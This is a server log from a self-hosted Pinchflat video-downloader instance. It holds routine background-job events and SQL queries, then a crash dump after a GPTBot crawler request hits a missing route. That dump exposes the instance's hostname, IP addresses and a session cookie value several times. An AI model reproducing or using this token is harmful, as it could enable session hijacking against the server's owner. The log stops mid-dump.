{"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:26.170 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:56.172 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.396 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:26.175 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:56.177 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.397 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:26.179 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:56.181 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.398 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:26.183 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:56.185 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.399 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:26.187 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:56.189 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.400 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:26.191 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:56.193 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.401 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:26.195 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:56.197 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.402 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:26.199 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:56.201 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.403 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:26.203 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:56.205 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.404 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:26.207 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:56.209 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.405 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:26.211 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:56.213 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.406 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:26.215 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:56.217 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.407 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:26.219 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:56.221 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.408 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:26.223 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:56.225 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.409 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:26.227 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:56.229 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.410 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:26.231 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:56.233 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.411 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:26.235 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:56.237 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:57.634 [info] GET / 04:40:57.634 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:40:57.635 [debug] QUERY OK source="settings" db=0.4ms idle=1991.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:40:57.636 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1992.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:40:57.636 [debug] QUERY OK source="sources" db=0.2ms idle=1497.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:40:57.639 [debug] QUERY OK source="media_items" db=2.7ms idle=1399.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:40:57.640 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=499.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:40:57.640 [debug] QUERY OK source="settings" db=0.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:40:57.641 [debug] QUERY OK source="settings" db=0.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:40:57.642 [debug] QUERY OK source="settings" db=0.2ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:40:57.644 [debug] QUERY OK source="tasks" db=0.5ms idle=4.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:40:57.645 [debug] QUERY OK source="media_items" db=0.6ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:40:57.646 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:40:57.648 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 04:40:57.653 [debug] QUERY OK source="media_items" db=1.4ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:40:57.655 [debug] QUERY OK source="media_items" db=1.4ms idle=9.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:40:57.656 [debug] QUERY OK source="sources" db=0.4ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:40:57.659 [info] Sent 200 in 25ms 04:41:00.412 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:00.565 [info] GET /sources/5/media/102593 04:41:00.566 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102593", "source_id" => "5"} Pipelines: [:browser] 04:41:00.567 [debug] QUERY OK source="media_items" db=0.4ms idle=923.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 04:41:00.567 [debug] QUERY OK source="tasks" db=0.3ms idle=924.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102593] 04:41:00.568 [debug] QUERY OK source="sources" db=0.5ms idle=924.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 04:41:00.569 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=422.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2616] 04:41:00.569 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=156.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:00.570 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:00.571 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:00.572 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:41:00.576 [info] Sent 200 in 10ms 04:41:03.276 [info] GET /sources/5/media/102593 04:41:03.276 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102593", "prevent_download" => "true", "source_id" => "5"} Pipelines: [:browser] 04:41:03.277 [debug] QUERY OK source="media_items" db=0.3ms idle=1633.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 04:41:03.278 [debug] QUERY OK source="tasks" db=0.3ms idle=1634.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102593] 04:41:03.278 [debug] QUERY OK source="sources" db=0.6ms idle=1634.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 04:41:03.279 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1128.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2616] 04:41:03.280 [debug] QUERY OK source="settings" db=0.2ms idle=127.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:03.280 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:03.281 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:03.283 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:41:03.286 [info] Sent 200 in 10ms 04:41:05.808 [info] GET /sources/5/media/102593/edit 04:41:05.808 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102593", "source_id" => "5"} Pipelines: [:browser] 04:41:05.809 [debug] QUERY OK source="media_items" db=0.5ms idle=1165.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 04:41:05.810 [debug] QUERY OK source="settings" db=0.3ms idle=1167.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:05.811 [debug] QUERY OK source="settings" db=0.1ms idle=1167.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:05.812 [debug] QUERY OK source="settings" db=0.2ms idle=1168.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:05.814 [info] Sent 200 in 6ms 04:41:08.119 [info] GET /sources/5/media/102593/force_download 04:41:08.120 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=957.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:08.120 [debug] QUERY OK source="settings" db=0.3ms idle=477.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:41:08.121 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:41:08.121 [error] #PID<0.256544.0> running PinchflatWeb.Endpoint (connection #PID<0.256531.0>, stream id 5) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/media/102593/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/media/102593/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/media/102593/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44558}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256544.0>, params: %{}, path_info: ["sources", "5", "media", "102593", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdmF0V2pDOWFpVXVENm1oTjlfeFA3VUE0.7mcMxaNQAY2RTjFLH74tOi9lKpSOPzftChgIlQcRUfk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", 